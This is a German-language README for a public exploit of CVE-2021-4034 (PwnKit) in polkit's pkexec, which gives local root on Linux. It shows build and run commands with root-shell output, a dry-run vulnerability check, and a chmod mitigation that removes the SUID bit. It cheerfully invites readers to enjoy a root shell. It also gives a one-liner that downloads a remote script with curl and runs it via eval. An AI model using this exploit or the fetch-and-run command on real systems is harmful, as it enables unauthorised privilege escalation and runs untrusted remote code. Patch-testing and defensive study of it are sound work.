
Exploit für CVE-2021-4034 (PwnKit), der auf polkit pkexec abzielt, um eine lokale Rechteausweitung auf Root auf Linux-Systemen zu erreichen. Enthält einen Dry-Run-Modus zum Testen der Verwundbarkeit.
Ein Tag für den Polkit-Privilege-Escalation-Exploit
Führe einfach make und ./cve-2021-4034 aus und genieße deine Root-Shell.
Das ursprüngliche Advisory der eigentlichen Autoren ist hier
Wenn der Exploit funktioniert, erhältst du sofort eine Root-Shell:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Ein Update von polkit behebt den Exploit auf den meisten Systemen; du erhältst dann die Verwendungshinweise, und das Programm beendet sich:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Um keine Shell auszuführen, sondern nur zu testen, ob das System verwundbar ist, kompiliere das Ziel dry-run.
Wenn das Programm mit der Ausgabe "root" endet, bedeutet das, dass dein System für den Exploit anfällig ist.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Wenn dein System nicht verwundbar ist, wird ein Fehler ausgegeben und das Programm beendet sich.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (früher PolicyKit) ist eine Komponente zur Steuerung systemweiter Privilegien in Unix-ähnlichen Betriebssystemen. Sie bietet nicht privilegierten Prozessen eine organisierte Möglichkeit, mit privilegierten Prozessen zu kommunizieren. Außerdem ist es möglich, mit polkit Befehle mit erhöhten Privilegien auszuführen, indem der Befehl pkexec gefolgt von dem auszuführenden Befehl (mit Root-Berechtigung) verwendet wird.
Du kannst das System ganz einfach mit einem einzigen Skript ausnutzen, das mit folgendem Befehl heruntergeladen und ausgeführt werden kann:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Falls für dein Betriebssystem keine Patches verfügbar sind, kannst du als vorübergehende Gegenmaßnahme das SUID-Bit von pkexec entfernen.
# chmod 0755 /usr/bin/pkexec
Der Exploit schlägt dann fehl und meldet, dass pkexec das setuid-Bit gesetzt haben muss.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root